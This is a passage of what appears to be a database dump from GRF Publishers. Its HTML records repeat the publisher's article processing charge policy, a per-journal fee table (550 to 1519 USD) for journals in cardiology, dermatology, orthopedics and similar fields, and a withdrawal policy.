style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:39:15','2019-01-08 23:44:18',1),(10,19,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Advanced Research in Biosensor and Bioelectronics</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:41:35','2019-01-08 23:41:04',1),(11,20,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Chronicles of Complementary, Alternative &amp; Integrative Medicine</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:43:26','2019-01-08 23:37:20',1),(12,22,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Clinical Orthopedics Advanced Research Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:45:05','2019-01-08 23:34:39',1),(13,24,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Updates in Dermatological Problems</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:47:37','2019-01-08 23:31:10',1),(14,25,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Emergency Medicine and Trauma Care Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:48:53','2019-01-08 23:26:10',1),(15,26,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Insights of Cardiology Open Access</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:50:16','2019-01-08 23:22:10',1),(16,27,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of 